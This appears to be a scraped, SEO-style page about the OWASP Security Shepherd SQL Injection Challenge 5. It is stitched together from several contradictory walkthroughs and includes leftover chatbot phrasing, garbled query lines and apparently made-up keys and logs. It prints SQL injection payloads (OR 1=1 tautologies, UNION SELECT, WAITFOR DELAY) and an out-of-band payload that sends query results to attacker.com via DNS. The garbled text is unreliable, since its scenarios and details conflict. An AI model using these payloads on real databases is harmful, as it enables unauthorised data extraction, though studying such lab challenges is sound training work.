Sql+injection+challenge+5+security+shepherd+new |best| May 2026

You're looking for information on SQL injection challenges, specifically Security Shepherd's SQL Injection Challenge 5. I'll provide a detailed response.

SQL Injection Challenge 5: Security Shepherd

Security Shepherd is an online platform that offers a series of challenges to help individuals learn about web application security, including SQL injection. Challenge 5 is a part of this series, focusing on SQL injection attacks.

Objective: The objective of Challenge 5 is to exploit a vulnerable web application by injecting malicious SQL code to extract or manipulate sensitive data.

Challenge Description: You are presented with a web application that allows users to search for employees by their IDs. The application uses a SQL database to store employee information. Your goal is to inject malicious SQL code to extract sensitive data, such as employee details or database structure.

Step-by-Step Solution:

  1. Understand the Vulnerability: The application is vulnerable to SQL injection attacks because it directly injects user input into SQL queries without proper sanitization or parameterization.
  2. Identify the Injection Point: The injection point is typically in the input field where you enter the employee ID.
  3. Determine the SQL Query: You need to determine the underlying SQL query being executed. This might involve using tools like Burp Suite or analyzing the web application's code (if available).
  4. Inject Malicious SQL: Once you have an understanding of the SQL query, you can start injecting malicious SQL code to manipulate the query. For example, you might use the following payloads:
    • ' OR 1=1 -- to extract all employees
    • ' UNION SELECT * FROM another_table -- to extract data from another table
  5. Extract Sensitive Data: By injecting malicious SQL code, you can extract sensitive data, such as employee details or database structure.

Common SQL Injection Payloads:

Tips and Best Practices:

Resources:

The SQL Injection Challenge 5 in OWASP Security Shepherd is a "VIP Coupon Code" scenario where you must bypass a payment gate by injecting SQL into the coupon field to retrieve or validate a valid VIP code. 🎯 Objective Goal: Obtain a free "Troll" by applying a VIP coupon code.

Challenge: The application expects a valid coupon code to set the price to

. You must use SQL injection to trick the database into accepting an "always true" condition or revealing the valid code. 🛠️ Step-by-Step Walkthrough 1. Identify the Entry Point sql+injection+challenge+5+security+shepherd+new

Navigate to the "SQL Injection 5" challenge page. You will see a shopping interface for "Trolls" with a field for a Coupon Code. Entering a random string like TEST will result in an "Invalid Coupon" message. 2. Test for Vulnerability

Most Security Shepherd SQL challenges use double quotes (") or single quotes (') for string encapsulation. Try entering a single quote ' in the coupon field.

If the application returns a database error or behaves differently, it is likely vulnerable. 3. Craft the Bypass Payload

The goal is to make the WHERE clause of the underlying SQL query always return true. The suspected query looks like this:

SELECT coupon_code FROM coupons WHERE coupon_code = ′User_Input′SELECT coupon_code FROM coupons WHERE coupon_code = prime User_Input prime

To bypass this, use a classic OR tautology. The most common working payload for this specific challenge is: Payload: "" OR 1=1 (or '' OR 1=1) When injected, the query becomes:

SELECT * FROM coupons WHERE coupon_code = "" OR 1=1SELECT * FROM coupons WHERE coupon_code = "" OR 1=1 4. Execute and Retrieve Key Enter 1 (or any number ≥1is greater than or equal to 1 ) in the Quantity field for the Troll. Paste the payload "" OR 1=1 into the Coupon Code box. Click Place Order.

The system will validate the "always true" condition, apply a discount, and display the Result Key. 🛡️ Why This Works

The injection breaks out of the intended data field and appends a new logical condition (OR 1=1). Since 1=1 is always true, the database returns the first available coupon record (the VIP one) regardless of what you typed before the OR. ✅ Result

The result is the Result Key displayed on the "Order Confirmation" screen. Copy this key and submit it to the Security Shepherd scoreboard to complete the challenge.

If you'd like to dive deeper into the source code of this challenge or need help with the SQL Injection Escaping level (which often follows this one), let me know! You're looking for information on SQL injection challenges,

6. Obtaining the Secret Key

After executing the injection, the attacker reviews DNS logs.

Example log from Collaborator:

sj23kfj923jfkl3jf923jf923.collab.com

Decoding (if Base64) or simply reading plaintext gives the secret key, which is submitted in the challenge.

For Security Shepherd, the secret key is typically a phrase like owasp_sql_injection_challenge_5_success. Entering this key in the solution submission box completes the challenge.

Step 7: Understanding the Defense Failure

The developer thought prepared statements were used everywhere, but the LIKE clause was dynamically concatenated. The input filter only blocked single quotes, but not backslashes, double quotes, or parentheses — and client-side validation is trivially bypassed.

The lesson: Never concatenate user input into SQL, even in a LIKE clause. Use parameterized queries for LIKE by escaping wildcards properly.

Step 1: Reconnaissance

Logging in as guest/guest, you see a note:

"Guest note: Remember to buy milk."

You click on Admin Search. The URL is:
https://shepherd:8443/challenge5/search.jsp

A simple form asks for a search_term. You try searching for milk. The results show:

Found 1 note: Guest note: Remember to buy milk. ' OR 1=1 -- to extract all employees

The response header contains a hint:
X-Debug-Query: SELECT note FROM notes WHERE user_id = 2 AND note LIKE '%milk%'

Key observation: The search query is not using prepared statements here — the developer hand-wrote a LIKE clause directly inside the query string. The user_id=2 corresponds to the guest user. The admin’s user_id is almost certainly 1.

4.2 Finding the Inject Point

The username field is injectable. A simple test payload for OOB:

Payload:

' OR 1=1; EXEC xp_dnsresolve 'test.' + (SELECT 'abc') + '.attacker.com' --

If xp_dnsresolve is enabled, the DNS log will show abc.test.attacker.com.

Introduction: The Shepherd’s Toughest Gate

If you have been navigating the OWASP Security Shepherd training ground, you know that the path to mastery is paved with broken authentication, forgotten sanitization, and clever bypasses. Among the flock, one level stands as a rite of passage: SQL Injection Challenge 5.

Searching for solutions to "sql injection challenge 5 security shepherd new" yields fragmented forum posts and outdated hints. Why? Because this challenge isn’t just about dropping a ' OR 1=1 -- into a login form. It introduces a twist: case sensitivity, keyword filtering, and a misconception about prepared statements.

In this comprehensive guide, we will dissect the architecture of Challenge 5, explore why "new" players fail, and walk through the exact payloads required to claim victory.

2.3 Identifying the Database

Using typical sleep-based payloads (' WAITFOR DELAY '0:0:5' --) yields no delay. This suggests either:

However, the challenge hint explicitly mentions xp_dnsresolve, confirming the back-end is Microsoft SQL Server with extended stored procedures enabled.